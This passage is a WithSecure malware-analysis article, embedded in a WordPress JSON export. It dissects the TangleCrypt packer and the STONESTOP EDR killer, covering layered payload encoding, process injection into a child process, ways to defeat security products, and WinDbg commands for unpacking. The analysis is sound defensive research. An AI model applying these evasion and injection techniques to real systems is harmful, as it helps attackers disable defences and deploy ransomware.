<\/div>\n<\/div>","_links":{"self":[{"href":"https:\/\/www.withsecure.com\/en\/wp-json\/wp\/v2\/lab_item\/8084","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.withsecure.com\/en\/wp-json\/wp\/v2\/lab_item"}],"about":[{"href":"https:\/\/www.withsecure.com\/en\/wp-json\/wp\/v2\/types\/lab_item"}],"author":[{"embeddable":true,"href":"https:\/\/www.withsecure.com\/en\/wp-json\/wp\/v2\/users\/3"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.withsecure.com\/en\/wp-json\/wp\/v2\/media\/8858"}],"wp:attachment":[{"href":"https:\/\/www.withsecure.com\/en\/wp-json\/wp\/v2\/media?parent=8084"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.withsecure.com\/en\/wp-json\/wp\/v2\/categories?post=8084"},{"taxonomy":"labs_content_type","embeddable":true,"href":"https:\/\/www.withsecure.com\/en\/wp-json\/wp\/v2\/labs_content_type?post=8084"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}},{"id":8275,"date":"2025-11-27T09:00:00","date_gmt":"2025-11-27T09:00:00","guid":{"rendered":"https:\/\/www.withsecure.com\/?post_type=lab_item&#038;p=8275"},"modified":"2026-09-08T10:04:41","modified_gmt":"2026-09-08T07:04:41","slug":"tanglecrypt","status":"publish","type":"lab_item","link":"https:\/\/www.withsecure.com\/en\/resources-hub\/w-labs\/tanglecrypt\/","title":{"rendered":"TangleCrypt: a sophisticated but buggy malware packer"},"content":{"rendered":"<section\n    class=\"wp-block-one-column-block edwp-block js-wp-block-one-column-block wp-block-one-column-block--content-1 wp-block-one-column-block--meta-sharing layout--spacing-xxxxl-top layout--spacing-xl-bottom\"\n    >\n    <div class=\"wp-block-one-column-block__container\">\n                                                                                                                            <div class='wp-block-one-column-block__meta-sharing-grid'><div class=\"wp-component-content wp-component-content--default wp-block-one-column-block__content fade-in\">\n            <h1 class=\"wp-component-heading text--h2 wp-component-content__title\">\n    TangleCrypt: a sophisticated but buggy malware packer<\/h1>                    <div class=\"wp-component-content__inner\">\n                                                    <div class=\"wp-component-content__meta\">\n                                                    <span class=\"wp-component-content__content-type\">\n                                Article                            <\/span>\n                                                                            <span class=\"wp-component-content__meta-categories\">\n                                                                    <span class=\"wp-component-content__meta-category\">\n                                        Ransomware                                    <\/span>\n                                                                    <span class=\"wp-component-content__meta-category\">\n                                        Software Protection                                    <\/span>\n                                                                    <span class=\"wp-component-content__meta-category\">\n                                        Threat Intelligence                                    <\/span>\n                                                            <\/span>\n                                                                                                    <span class=\"wp-component-content__meta-date\">\n                                Nov 27, 2025                            <\/span>\n                                                                    <\/div>\n                                            <\/div>\n                <\/div><section\n    class=\"wp-block-sharing-icons edwp-block wp-block-sharing-icons--disable-border wp-block-sharing-icons--content-1 wp-block-sharing-icons--disable-container wp-block-one-column-block__sharing fade-in wp-block-one-column-block__sharing fade-in\"\n    >\n    <div class=\"wp-block-sharing-icons__container\">\n        <div class=\"wp-block-sharing-icons__inner\">\n                            <p class=\"wp-block-sharing-icons__title fade-in\">\n                    Share this                <\/p>\n                        <div class=\"wp-component-socials wp-component-socials--dark-mode\">\n    \n            <a href=\"https:\/\/www.linkedin.com\/shareArticle?mini=true&#038;url=https:\/\/www.withsecure.com\/en\/resources-hub\/w-labs\/tanglecrypt\/&#038;title=TangleCrypt:%20a%20sophisticated%20but%20buggy%20malware%20packer\" target=\"_blank\" rel=\"noreferer noopener\" class=\"wp-component-socials__link\" title=\"Share on Linkedin\">\n            <svg class='edwp-icon edwp-icon--xlg js-icon ' aria-hidden='true'>\n                <use xlink:href='#linkedin'><\/use>\n            <\/svg>        <\/a>\n    \n            <a href=\"http:\/\/x.com\/share?text=TangleCrypt: a sophisticated but buggy malware packer&#038;url=https:\/\/www.withsecure.com\/en\/resources-hub\/w-labs\/tanglecrypt\/\" target=\"_blank\" rel=\"noreferer noopener\" class=\"wp-component-socials__link wp-component-socials__link--twitter\" title=\"Share on Twitter\">\n            <svg class='edwp-icon edwp-icon--xlg js-icon ' aria-hidden='true'>\n                <use xlink:href='#x'><\/use>\n            <\/svg>        <\/a>\n    \n    \n    <\/div>\n        <\/div>\n    <\/div>\n<\/section>\n<\/div>                                                                                <\/div>\n<\/section>\n\n\n<section\n    class=\"wp-block-one-column-block edwp-block js-wp-block-one-column-block wp-block-one-column-block--content-1 layout--spacing-xxxl-bottom\"\n    >\n    <div class=\"wp-block-one-column-block__container\">\n                                                                                                                                    <div class=\"wp-component-image__wrapper wp-block-one-column-block__image fade-in\">\n                    <figure class=\"wp-component-image__figure\">\n                                            <img loading=\"lazy\" decoding=\"async\" width=\"1200\" height=\"800\" src=\"https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/05\/ws_labs_news.jpg.webp\" class=\"wp-component-image\n                            wp-component-image--desktop\n                            wp-component-image--mobile\n                            wp-component-image--ratio-content-25-1 wp-component-image--fit-cover\" alt=\"\" srcset=\"https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/05\/ws_labs_news.jpg.webp 1200w, https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/05\/ws_labs_news-300x200.jpg.webp 300w, https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/05\/ws_labs_news-1024x683.jpg.webp 1024w, https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/05\/ws_labs_news-768x512.jpg.webp 768w, https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/05\/ws_labs_news-447x298.jpg.webp 447w, https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/05\/ws_labs_news-219x146.jpg.webp 219w\" sizes=\"auto, (max-width: 1200px) 100vw, 1200px\" \/>                                                    <\/figure>\n                    <\/div>\n                                                                                <\/div>\n<\/section>\n\n\n<section\n    class=\"wp-block-two-column-block edwp-block js-wp-block-two-column-block wp-block-two-column-block--content-1 wp-block-two-column-block__left--align-y-top wp-block-two-column-block__right--align-y-top wp-block-two-column-block--split-sidebar layout--none-top layout--spacing-xxxl-bottom\"\n    data-block-id=\"block_c32115ead861772371d9c4264fdca978\"\n    >\n    <div class=\"wp-block-two-column-block__container row-load\">\n                                                        <div class=\"wp-block-two-column-block__left\">\n                                    <div class=\"wp-component-authors-list wp-block-two-column-block__authors\">\n                    <p class=\"wp-component-authors-list__title\">\n                Authors            <\/p>\n        \n        <div class=\"wp-component-authors-list__items\">\n                                                <div class=\"wp-component-author-card \">\n    <div class=\"wp-component-author-card__media\">\n                    <span class=\"wp-component-author-card__photo-placeholder\" aria-hidden=\"true\">\n                <svg viewBox=\"0 0 64 64\" role=\"presentation\" focusable=\"false\">\n                    <path d=\"M32 34c-8.1 0-14.7 6.6-14.7 14.7v3.5h29.4v-3.5C46.7 40.6 40.1 34 32 34z\"><\/path>\n                    <path d=\"M32 31.2c6 0 10.9-4.9 10.9-10.9S38 9.4 32 9.4s-10.9 4.9-10.9 10.9S26 31.2 32 31.2z\"><\/path>\n                <\/svg>\n            <\/span>\n            <\/div>\n    <div class=\"wp-component-author-card__content\">\n                    <h3 class=\"wp-component-author-card__name\">Bert Stepp\u00e9<\/h3>\n        \n                \n            <\/div>\n\n<\/div>\n\n                                    <\/div>\n\n            <\/div>\n<nav\n    class=\"wp-component-content-navigation wp-block-two-column-block__content-nav js-content-navigation\"\n    data-bem-base=\"wp-component-content-navigation\"\n    data-nav-column=\"left\"\n    data-nav-type=\"auto\"\n>\n            <p class=\"wp-component-content-navigation__title\">\n            Content        <\/p>\n    \n    <div class=\"wp-component-content-navigation__mobile\">\n        <label class=\"wp-component-content-navigation__mobile-label\">\n            <span class=\"wp-component-content-navigation__mobile-label-text\">\n                Content navigation            <\/span>\n            <select class=\"wp-component-content-navigation__select js-content-navigation-select\">\n                <option value=\"\">\n                    Select a section                <\/option>\n                            <\/select>\n        <\/label>\n    <\/div>\n\n    <div class=\"wp-component-content-navigation__desktop\">\n        <div class=\"wp-component-content-navigation__list-wrapper\">\n            <span\n                class=\"wp-component-content-navigation__indicator js-content-navigation-indicator\"\n                aria-hidden=\"true\"\n            ><\/span>\n            <ul class=\"wp-component-content-navigation__list js-content-navigation-list\">\n                            <\/ul>\n        <\/div>\n    <\/div>\n<\/nav>\n<section\n    class=\"wp-block-sharing-icons edwp-block wp-block-sharing-icons--disable-border wp-block-sharing-icons--disable-container wp-block-two-column-block__share wp-block-two-column-block__hide-mobile wp-block-two-column-block__share wp-block-two-column-block__hide-mobile\"\n    >\n    <div class=\"wp-block-sharing-icons__container\">\n        <div class=\"wp-block-sharing-icons__inner\">\n                            <p class=\"wp-block-sharing-icons__title fade-in\">\n                    Share this story                <\/p>\n                        <div class=\"wp-component-socials wp-component-socials--dark-mode\">\n    \n            <a href=\"https:\/\/www.linkedin.com\/shareArticle?mini=true&#038;url=https:\/\/www.withsecure.com\/en\/resources-hub\/w-labs\/tanglecrypt\/&#038;title=TangleCrypt:%20a%20sophisticated%20but%20buggy%20malware%20packer\" target=\"_blank\" rel=\"noreferer noopener\" class=\"wp-component-socials__link\" title=\"Share on Linkedin\">\n            <svg class='edwp-icon edwp-icon--xlg js-icon ' aria-hidden='true'>\n                <use xlink:href='#linkedin'><\/use>\n            <\/svg>        <\/a>\n    \n            <a href=\"http:\/\/x.com\/share?text=TangleCrypt: a sophisticated but buggy malware packer&#038;url=https:\/\/www.withsecure.com\/en\/resources-hub\/w-labs\/tanglecrypt\/\" target=\"_blank\" rel=\"noreferer noopener\" class=\"wp-component-socials__link wp-component-socials__link--twitter\" title=\"Share on Twitter\">\n            <svg class='edwp-icon edwp-icon--xlg js-icon ' aria-hidden='true'>\n                <use xlink:href='#x'><\/use>\n            <\/svg>        <\/a>\n    \n    \n    <\/div>\n        <\/div>\n    <\/div>\n<\/section>\n                <\/div>\n                                                <div class=\"wp-block-two-column-block__right\">\n                                <div class=\"wp-component-paragraph wp-block-two-column-block__paragraph \">\n    <h2>Executive Summary<\/h2>\n<p>WithSecure&#8217;s STINGR Group is releasing a detailed technical analysis of TangleCrypt, a previously undocumented packer for Windows malware. The packer was found on two executables used in a recent ransomware attack and their payloads were both identified as an EDR killer known as STONESTOP that leverages the malicious ABYSSWORKER driver.<\/p>\n<p>Key findings about TangleCrypt:<\/p>\n<ul>\n<li>The payload is stored inside the PE Resources via multiple layers of base64 encoding, LZ78 compression and XOR encryption.<\/li>\n<li>The loader supports two methods of launching the payload: in the same process or in a child process. The chosen method is defined by a string appended to the embedded payload.<\/li>\n<li>To hinder analysis and detection, it uses a few common techniques like string encryption and dynamic import resolving, but all of these were found to be relatively simple to bypass. The lack of any advanced anti-analysis mechanisms also makes manual unpacking of the payload rather straightforward.<\/li>\n<li>Although the packer has an overall interesting design, we identified several flaws in the loader implementation that may cause the payload to crash or show other unexpected behaviour.<\/li>\n<\/ul>\n<h2>Introduction<\/h2>\n<p>A popular technique among threat actors in hands-on attacks to evade detection, is the use of an EDR killer before conducting malicious operations like data exfiltration and file encryption in ransomware attacks. Such tool forcefully terminates the installed security products on the device, either by exploiting a vulnerable driver (<a href=\"https:\/\/attack.mitre.org\/techniques\/T1068\/\" target=\"_blank\" rel=\"noopener\">BYOVD<\/a>), or via a malicious driver specifically created for this purpose. The latter was found to be used in an attack from early September 2025, where the threat actor deployed Qilin ransomware on the victim&#8217;s systems. WithSecure&#8217;s Incident Response team recovered the following artifacts, and reached out to the Strategic Threat Intelligence &amp; Research Group (STINGR) to investigate them in further detail:<\/p>\n<ul>\n<li>4cBh.exe &#8211; an x64 executable, compiled using GCC\/MingW. First packed with VMProtect, and subsequently with a custom executable packer that we are tracking as TangleCrypt.<\/li>\n<li>b1.exe &#8211; another x64 executable, with identical functionality and applied packers as 4cBh.exe, but compiled using Visual Studio.<\/li>\n<li>fehmr.sys &#8211; an x64 kernel driver, packed with VMProtect, and masquerading as a CrowdStrike Falcon Sensor driver.<\/li>\n<\/ul>\n<p>We identified the kernel driver being ABYSSWORKER (older versions also known as POORTRY and BURNTCIGAR) and the payloads embedded in the executables being STONESTOP.<\/p>\n<p>Technical details can be found in several write-ups (see References), but here is a quick summary of how the malware works:<\/p>\n<ul>\n<li>Upon execution, STONESTOP first checks if it has elevated privileges. If not, it will restart itself to run with admin rights, which triggers a UAC prompt by default.<\/li>\n<li>Once it knows that it has the elevated rights, it registers the ABYSSWORKER driver in Windows. The executable assumes that the SYS file is present in the same directory. Then it tries to load and initialize the driver.<\/li>\n<li>The executable contains a list of executable names and uses the driver to terminate all running processes matching an item in this list.<\/li>\n<li>Some STONESTOP versions also have a hard-coded list of directories. All files in these directories will be recursively deleted by the driver.<\/li>\n<li>The executable keeps running in the background. The termination of any running &#8216;unwanted&#8217; process is repeated every second.<\/li>\n<\/ul>\n<p>Although the ABYSSWORKER sample in the Incident Response(IR) case handled by WithSecure was not publicly known yet, its functionality is identical to the sample analyzed by Elastic. In fact, it is even the very same driver, only the packer is different: the sample Elastic described is protected (albeit poorly) with CodeVirtualizer, while the file in our case is protected with VMProtect, just like most ABYSSWORKER samples that we found elsewhere. (See Appendix B)<\/p>\n<h2>STONESTOP in-the-wild<\/h2>\n<p>During our investigation, we also hunted for more STONESTOP samples, as we were intrigued by the earlier observation that one sample targets different security products than the other. We were able to confirm this: all found executables target Microsoft Defender and usually one or two other EDR\/AV vendors. There are a few exceptions &#8211; we found one STONESTOP sample that targets Defender only, and a few samples that target up to six other products. A detailed overview can be found in Appendix B.<\/p>\n<p>But we observed something quite remarkable regarding the usage of executable packers on STONESTOP. All identified samples are packed with VMProtect, and sometimes additionally packed with a malware packer known as HeartCrypt and well documented by Palo Alto. (See References)<\/p>\n<p>However, the two STONESTOP samples &#8216;4cBh.exe&#8217; and &#8216;b1.exe&#8217; from our IR case looked different from a PE structure point of view. While HeartCrypt-packed samples typically have a lot of items in the PE resources and lack relocations, these two samples do have relocations but have only two resource entries.<\/p>\n<figure><img decoding=\"async\" class=\"wp-component-image\" src=\"https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/05\/tanglecrypt-01a-rsrc-heartcrypt.png.webp\" alt=\"\" \/><\/figure>\n<figure><img decoding=\"async\" class=\"wp-component-image\" src=\"https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/05\/tanglecrypt-01b-rsrc-tanglecrypt.png.webp\" alt=\"\" \/><\/figure>\n<p>Our initial thought was that we may have found an updated version of HeartCrypt that supports x64 (because, according to the known advertisements, it only supported x86 and .NET), but a closer inspection revealed that the internal workings are so divergent from HeartCrypt that we concluded that we were dealing here with a completely different malware packer, which, to our knowledge, has not been reported before. Our suspicion was reinforced by the fact that we found only one other sample with similar packer characteristics, 73b6e7cdd10c373a633367fd3bde791278e7900b342a21e2bad2b8e5cfc33746, containing an XWorm payload.<\/p>\n<p>We decided to name this packer \u201cTangleCrypt\u201d, for reasons explained below.<\/p>\n<h2>Meet TangleCrypt<\/h2>\n<p>Just like most malware packers, TangleCrypt&#8217;s main objective is to hide the actual payload and make it look like a benign file. The original executable is encrypted inside an entry of the PE resources in the &#8216;.rsrc&#8217; section, while the rest of the file is mostly the loader code itself &#8211; this is rather atypical for malware packers, where often completely irrelevant code and data is inserted as an additional technique to make the file look more legitimate.<\/p>\n<p>However, a more typical packer characteristic that TangleCrypt adopts, is the attempt at lowering the overall entropy of the sample to make the presence of an encrypted object less obvious. The &#8216;.rdata&#8217; section is full of 0x8D7-size areas which are 0x00 bytes but all encrypted with the same XOR key, resulting in the same byte pattern and thus having a low entropy.<\/p>\n<figure><img decoding=\"async\" class=\"wp-component-image\" src=\"https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/05\/tanglecrypt-02-encrypted-nulls.png.webp\" alt=\"\" \/><\/figure>\n<p>Another interesting observation is that the loader code in both samples (&#8216;4cBh.exe&#8217; and &#8216;b1.exe&#8217;) is 100% identical; only the encrypted payload in the PE resources is different. However, TangleCrypt shows a significantly different behaviour in each sample. In &#8216;4cBh.exe&#8217;, the original payload is decrypted in its own process memory, while &#8216;b1.exe&#8217; starts a child process of itself and writes the decrypted payload to that process. How this is achieved, is explained in detail later in this blogpost.<\/p>\n<figure><img decoding=\"async\" class=\"wp-component-image\" src=\"https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/05\/tanglecrypt-03-child-process-procmon.png.webp\" alt=\"\" \/><\/figure>\n<h2>Anti-analysis tricks<\/h2>\n<p>TangleCrypt uses some techniques to make analysis more challenging, but they are limited and can be worked around relatively easily. Here is an overview.<\/p>\n<h3>Anti-debugging<\/h3>\n<p>The TangleCrypt authors did not really try to prevent manual dynamic analysis with a debugger. The only small trick we identified, is that the loader calls two Win32 API functions <a href=\"https:\/\/learn.microsoft.com\/en-us\/windows\/win32\/api\/winbase\/nf-winbase-localhandle\" target=\"_blank\" rel=\"noopener\">LocalHandle<\/a> and <a href=\"https:\/\/learn.microsoft.com\/en-us\/windows\/win32\/api\/winbase\/nf-winbase-globalsize\" target=\"_blank\" rel=\"noopener\">GlobalSize<\/a> with the first and only argument set to NULL, which is an invalid value for both API functions. This triggers an Access Violation exception, but will be caught by the exception handler in the API itself.<\/p>\n<figure><img decoding=\"async\" class=\"wp-component-image\" src=\"https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/05\/tanglecrypt-04a-localhandle.png.webp\" alt=\"\" \/><\/figure>\n<figure><img decoding=\"async\" class=\"wp-component-image\" src=\"https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/05\/tanglecrypt-04b-globalsize.png.webp\" alt=\"\" \/><\/figure>\n<p>In practice this means that the debugger will receive a &#8220;first-chance&#8221; notification for the two exceptions, and the debugger may halt the execution. Bypassing this is trivial: either we simply let the target continue the execution, or we configure the debugger to ignore Access Violation exceptions in the current debug session.<\/p>\n<p>Since it&#8217;s so easy to bypass in a debugger, we rather suspect that the authors included this trick as a countermeasure against code tracers &#8211; for example used in some automated sandboxes &#8211; since an exception might confuse them.<\/p>\n<h3>String encryption<\/h3>\n<p>To hinder static analysis, lots of strings are not stored in plain sight, but rather in encrypted form, either fetched from the &#8216;.rdata&#8217; section or constructed at runtime on the stack. Although all strings are encrypted using the same algorithm, there are dedicated decryption functions (over 100) for most encrypted strings, which makes it more challenging to analyse the binary as we cannot set a &#8220;central&#8221; breakpoint in the code to print the decrypted string.<\/p>\n<figure><img decoding=\"async\" class=\"wp-component-image\" src=\"https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/05\/tanglecrypt-05-string-decrypt-disasm.png.webp\" alt=\"\" \/><\/figure>\n<p>Or can we?<\/p>\n<p>When taking a closer look at the decryption loop, we can see that it calls function &#8216;sub_140010870&#8217; for every byte it wants to decrypt. This function calculates a division value based on the string length, and is called in all string decryption functions. Another interesting fact is that all these functions store a pointer to the &#8220;string-being-decrypted&#8221; at the same relative position on the stack: &#8216;[rsp+30h]&#8217;. We can use this to our advantage to set a breakpoint at the beginning of &#8216;sub_140010870&#8217; and there print the string referenced at &#8216;[rsp+38h]&#8217; (we need to add 8 because the &#8216;call&#8217; instruction pushed the return address on the stack). For example in WinDbg we can enter the following command, which will set a breakpoint at sub_140010870, and when hit, it will print the ANSI string and continue the execution:<\/p>\n<pre><code class=\"language-text\">bu 140010870 \"da poi(@rsp+38);g;\"<\/code><\/pre>\n<p>(assuming the exe is loaded at address 0x140000000)<\/p>\n<p>When we run the executable, WinDbg shows the following output:<\/p>\n<figure><img decoding=\"async\" class=\"wp-component-image\" src=\"https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/05\/tanglecrypt-06-string-decrypt-console.png.webp\" alt=\"\" \/><\/figure>\n<p>As you can see, the output is a bit rudimentary, as it will print the string for each character being decrypted, and we don&#8217;t see the last character of the decrypted string because the function is not called after decrypting the last character. But it does provide us a good insight into the hidden strings used by TangleCrypt, especially given the simplicity of the approach.<\/p>\n<h3>Dynamic import resolving<\/h3>\n<p>To prevent that the PE imports reveal much of its actual capabilities, TangleCrypt uses the string encryption feature also to decrypt strings of Windows DLL names and API function names, which are then used to dynamically resolve their virtual address.<\/p>\n<figure><img decoding=\"async\" class=\"wp-component-image\" src=\"https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/05\/tanglecrypt-07-string-decrypt-api.png.webp\" alt=\"\" \/><\/figure>\n<h3>Unoptimized code<\/h3>\n<p>A final interesting observation is that the TangleCrypt loader has been compiled without any code optimization. The consequence is that the loader code is somewhat bloated, making it more time consuming to trace through with a debugger. It is unclear whether this is even intentional or if the authors disabled code optimization for a technical reason.<\/p>\n<figure><img decoding=\"async\" class=\"wp-component-image\" src=\"https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/05\/tanglecrypt-08-unoptimized-code.png.webp\" alt=\"\" \/><\/figure>\n<h2>Payload decryption &amp; different behaviour<\/h2>\n<p>This section describes how the payload decryption happens &#8211; which is more complex than what we expected.<\/p>\n<p>First, TangleCrypt resolves a few resources related functions in KERNEL32.DLL via the string decryption routine: (see Figure 07)<\/p>\n<ul>\n<li><code>LoadResource<\/code><\/li>\n<li><code>SizeofResource<\/code><\/li>\n<li><code>etc<\/code><\/li>\n<\/ul>\n<p>As mentioned before, the executable payload is stored in the PE resources. However, there is another very small entry to be found in the resources, and that&#8217;s exactly what the loader fetches first via these API calls.<\/p>\n<figure><img decoding=\"async\" class=\"wp-component-image\" src=\"https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/05\/tanglecrypt-09-small-block-rsrc.png.webp\" alt=\"\" \/><\/figure>\n<p>This is a base64 encoded string, which the loader decodes.<\/p>\n<figure><img decoding=\"async\" class=\"wp-component-image\" src=\"https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/05\/tanglecrypt-10-small-block-base64decode.png.webp\" alt=\"\" \/><\/figure>\n<p>The output is less obvious to recognize. It looks like a sequence of numbers but with some NULL bytes in between. It turns out that this is an LZ78 compressed buffer, and the loader calls a function to decompress it.<\/p>\n<figure><img decoding=\"async\" class=\"wp-component-image\" src=\"https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/05\/tanglecrypt-11-small-block-lz78decomp.png.webp\" alt=\"\" \/><\/figure>\n<p>Since the original data buffer is so small, there was little to be compressed; in fact, the compressed buffer is larger than the decompressed buffer, which is only 6 bytes. Anyway, we end up with a string consisting of 6 numbers, in this case \u201c175438\u201d.<\/p>\n<p>Next, the loader fetches the other PE resources entry, which is significantly larger.<\/p>\n<figure><img decoding=\"async\" class=\"wp-component-image\" src=\"https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/05\/tanglecrypt-12-large-block-rsrc-head.png.webp\" alt=\"\" \/><\/figure>\n<p>Another base64 encoded string, and after decoding we have again a buffer whose structure looks somewhat familiar.<\/p>\n<figure><img decoding=\"async\" class=\"wp-component-image\" src=\"https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/05\/tanglecrypt-13-large-block-base64decode1-head.png.webp\" alt=\"\" \/><\/figure>\n<p>Indeed, another LZ78 compressed buffer. But this time it decompresses into a larger buffer.<\/p>\n<p>Note: due to the unoptimized assembler code, decompressing this buffer takes a few seconds even on a decent CPU.<\/p>\n<figure><img decoding=\"async\" class=\"wp-component-image\" src=\"https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/05\/tanglecrypt-14-large-block-lz78decomp-head.png.webp\" alt=\"\" \/><\/figure>\n<p>The result is again base64 encoded data, which the loader of course decodes.<\/p>\n<figure><img decoding=\"async\" class=\"wp-component-image\" src=\"https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/05\/tanglecrypt-15-large-block-base64decode2-head.png.webp\" alt=\"\" \/><\/figure>\n<p>If some byte sequences look similar to something we have seen before, that&#8217;s normal. The loader uses the number sequence &#8211; decrypted from the small PE resource &#8211; as a XOR key to decrypt this buffer.<\/p>\n<figure><img decoding=\"async\" class=\"wp-component-image\" src=\"https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/05\/tanglecrypt-16-large-block-xordecrypt-head.png.webp\" alt=\"\" \/><\/figure>\n<p>And this is finally the original executable.<\/p>\n<p>Now let&#8217;s come back to an earlier observation. &#8216;4cBh.exe&#8217; decrypts the payload in its own process, while &#8216;b1.exe&#8217; starts a child process where the decrypted payload is written to. The loader code is identical, so how does it know what to do? The answer can be found at the very end of the decrypted payload:<\/p>\n<figure><img decoding=\"async\" class=\"wp-component-image\" src=\"https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/05\/tanglecrypt-17-large-block-xordecrypt-tail.png.webp\" alt=\"\" \/><\/figure>\n<p>There is a special string that instructs the loader how to process the payload, and that is different in the two samples.<\/p>\n<ul>\n<li><code>4cBh.exe<\/code>: <code>exex64_amd64_block_<\/code> &#8211; inject in own process<\/li>\n<li><code>b1.exe<\/code>: <code>exex64_amd64__riin<\/code> &#8211; inject in child process<\/li>\n<\/ul>\n<p>We were able to confirm this behaviour by swapping the strings in the process memory immediately after the payload was decrypted: when we changed the string in &#8216;4cBh.exe&#8217; into &#8220;exex64_amd64__riin&#8221;, a child process was created, and when we changed the string in &#8216;b1.exe&#8217; into &#8220;exex64_amd64_block_&#8221;, the payload was executed in the same process.<\/p>\n<p>The way of launching the payload is most likely a builder option that the threat actor can choose from when they generate the packed sample.<\/p>\n<h2>Manual unpacking<\/h2>\n<p>Suppose that we have several PE files packed with TangleCrypt and that we just want to unpack them all without having any pre-knowledge of the internal workings of the loader. Tracing through the code is always an option, but time consuming &#8211; we would like to find a quick and easy way to dump the unpacked executable to disk.<\/p>\n<p>Contrary to many commercial protectors, malware packers usually don&#8217;t modify the original PE to make it more difficult to produce an unpacked executable: the original file is present in the process memory at some point, it&#8217;s just a matter of halting the target process at the right moment. TangleCrypt is not an exception here, but the approach depends on the way it processes the payload.<\/p>\n<h3>4cBh.exe<\/h3>\n<p>If TangleCrypt executes the payload in its own process, the loader calls KERNEL32.DLL function <a href=\"https:\/\/learn.microsoft.com\/en-us\/windows\/win32\/api\/memoryapi\/nf-memoryapi-virtualalloc\" target=\"_blank\" rel=\"noopener\">VirtualAlloc<\/a> to allocate the memory where the PE will be prepared for execution. If we launch the process and set a breakpoint on this API (in WinDbg: &#8220;bu kernel32!VirtualAlloc&#8221;), the target will hit the breakpoint after a few seconds:<\/p>\n<figure><img decoding=\"async\" class=\"wp-component-image\" src=\"https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/05\/tanglecrypt-18-virtualalloc-bpx-reg.png.webp\" alt=\"\" \/><\/figure>\n<p>VirtualAlloc has the memory starting address as first argument (&#8216;rcx&#8217; as per the calling convention in x64) and the memory region size as second argument (&#8216;rdx&#8217;). So in this case, a memory region of 0x24E000 bytes will be allocated at address 0x400000.<\/p>\n<p>Let&#8217;s step over this function and have a look at the code that calls it:<\/p>\n<figure><img decoding=\"async\" class=\"wp-component-image\" src=\"https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/05\/tanglecrypt-19-virtualalloc-call.png.webp\" alt=\"\" \/><\/figure>\n<p>Here we can see that the loader gets the allocation size from a memory region that the QWORD at &#8216;[rsp+120h]&#8217; points to. What can we see there?<\/p>\n<figure><img decoding=\"async\" class=\"wp-component-image\" src=\"https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/05\/tanglecrypt-20-virtualalloc-mem-pe.png.webp\" alt=\"\" \/><\/figure>\n<p>This looks like a PE header. The TangleCrypt loader gets the PE image size from it, which makes perfect sense. And if we scroll up a bit, we also find the MZ header, the start of the original unpacked executable.<\/p>\n<figure><img decoding=\"async\" class=\"wp-component-image\" src=\"https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/05\/tanglecrypt-21-virtualalloc-mem-mz.png.webp\" alt=\"\" \/><\/figure>\n<p>Dumping this memory to disk results in a perfectly valid PE executable that can be launched right away.<\/p>\n<h3>b1.exe<\/h3>\n<p>In the other sample, the loader starts a child process of itself in suspended state, writes the decrypted content to the child process memory and finally resumes its main thread. TangleCrypt uses the most straightforward way to achieve this, via the Win32 API functions <a href=\"https:\/\/learn.microsoft.com\/en-us\/windows\/win32\/api\/processthreadsapi\/nf-processthreadsapi-createprocessw\" target=\"_blank\" rel=\"noopener\">CreateProcessW<\/a>, <a href=\"https:\/\/learn.microsoft.com\/en-us\/windows\/win32\/api\/memoryapi\/nf-memoryapi-writeprocessmemory\" target=\"_blank\" rel=\"noopener\">WriteProcessMemory<\/a> and <a href=\"https:\/\/learn.microsoft.com\/en-us\/windows\/win32\/api\/processthreadsapi\/nf-processthreadsapi-resumethread\" target=\"_blank\" rel=\"noopener\">ResumeThread<\/a> in KERNEL32.DLL.<\/p>\n<p>Let&#8217;s start the target process and set a breakpoint on WriteProcessMemory. After a few moments, the process will break:<\/p>\n<figure><img decoding=\"async\" class=\"wp-component-image\" src=\"https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/05\/tanglecrypt-22-writeprocessmemory-bpx-reg.png.webp\" alt=\"\" \/><\/figure>\n<p>WriteProcessMemory&#8217;s second argument (&#8216;rdx&#8217;) is the memory address in the target process where the memory will be written to, and the third argument (&#8216;r8&#8217;) points to the buffer to write. What is this buffer?<\/p>\n<figure><img decoding=\"async\" class=\"wp-component-image\" src=\"https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/05\/tanglecrypt-23-writeprocessmemory-mem-mz.png.webp\" alt=\"\" \/><\/figure>\n<p>Here we immediately find the MZ\/PE header of the original file. Dumping this memory region to disk is again all we need to do to have a working unpacked executable.<\/p>\n<h2>Glitches<\/h2>\n<p>When we started the analysis on the STONESTOP executables from this IR case, we noticed that one of the samples &#8211; &#8216;4cBh.exe&#8217; &#8211; crashed if we executed it without admin rights. Initially we thought that this was due to a bug in the STONESTOP logic itself, but when 